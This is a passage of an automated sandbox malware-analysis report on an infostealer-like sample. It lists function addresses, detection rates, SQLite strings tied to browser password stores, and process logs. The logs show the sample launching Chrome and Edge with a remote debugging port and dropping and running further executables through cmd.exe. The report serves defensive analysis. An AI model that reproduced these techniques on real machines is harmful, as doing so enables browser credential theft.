Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6834A0	0_2_6C6834A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C4A0	0_2_6C68C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636C80	0_2_6C636C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63FD00	0_2_6C63FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64ED10	0_2_6C64ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650512	0_2_6C650512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6885F0	0_2_6C6885F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660DD0	0_2_6C660DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696E63	0_2_6C696E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C670	0_2_6C62C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644640	0_2_6C644640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672E4E	0_2_6C672E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C649E50	0_2_6C649E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C663E50	0_2_6C663E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689E30	0_2_6C689E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675600	0_2_6C675600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667E10	0_2_6C667E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6976E3	0_2_6C6976E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BEF0	0_2_6C62BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63FEF0	0_2_6C63FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684EA0	0_2_6C684EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68E680	0_2_6C68E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645E90	0_2_6C645E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639F00	0_2_6C639F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667710	0_2_6C667710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62DFE0	0_2_6C62DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656FF0	0_2_6C656FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6777A0	0_2_6C6777A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66F070	0_2_6C66F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648850	0_2_6C648850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D850	0_2_6C64D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B820	0_2_6C66B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674820	0_2_6C674820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637810	0_2_6C637810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C0E0	0_2_6C64C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6658E0	0_2_6C6658E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6950C7	0_2_6C6950C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6560A0	0_2_6C6560A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D960	0_2_6C63D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B970	0_2_6C67B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B170	0_2_6C69B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A940	0_2_6C64A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C9A0	0_2_6C62C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D9B0	0_2_6C65D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665190	0_2_6C665190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C682990	0_2_6C682990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669A60	0_2_6C669A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C641AF0	0_2_6C641AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E2F0	0_2_6C66E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668AC0	0_2_6C668AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6222A0	0_2_6C6222A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654AA0	0_2_6C654AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63CAB0	0_2_6C63CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C692AB0	0_2_6C692AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69BA90	0_2_6C69BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C370	0_2_6C63C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625340	0_2_6C625340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D320	0_2_6C66D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6953C8	0_2_6C6953C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62F380	0_2_6C62F380
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_00407049	22_2_00407049
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_00408860	22_2_00408860
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_004078BB	22_2_004078BB
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_004031A8	22_2_004031A8
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003C4B30	22_2_003C4B30
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_00402D10	22_2_00402D10
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003C4DE0	22_2_003C4DE0
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003F7F36	22_2_003F7F36
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_0040779B	22_2_0040779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00577049	23_2_00577049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00578860	23_2_00578860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_005778BB	23_2_005778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_005731A8	23_2_005731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00534B30	23_2_00534B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00572D10	23_2_00572D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00534DE0	23_2_00534DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00567F36	23_2_00567F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0057779B	23_2_0057779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0053E530	25_2_0053E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00556192	25_2_00556192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00578860	25_2_00578860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00534B30	25_2_00534B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00572D10	25_2_00572D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00534DE0	25_2_00534DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00550E13	25_2_00550E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00577049	25_2_00577049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_005731A8	25_2_005731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00551602	25_2_00551602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0057779B	25_2_0057779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_005778BB	25_2_005778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00553DF1	25_2_00553DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00567F36	25_2_00567F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C65CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6694D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0054D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0054D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00547A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0054D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005480C0 appears 261 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0054DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00568E10 appears 35 times
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: String function: 003D80C0 appears 130 times

Source: file.exe, 00000000.00000002.2701989014.000000002398A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2707759033.000000006C8C5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: cxqoexay ZLIB complexity 0.995027330701488

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/306@26/28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C687030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C687030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\AUS40G9E.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8528:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\5e3b03c8-49f3-4849-95cb-6a2d46b2ae98.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2297379651.000000001D729000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2376927729.000000001D71D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2706657606.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2698037935.000000001D82D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 48%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2208,i,17352263737695313349,12628869929019264965,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2072,i,2537531693354189925,11348691119718681156,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7240 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5892 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2208,i,17352263737695313349,12628869929019264965,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2072,i,2537531693354189925,11348691119718681156,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7240 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
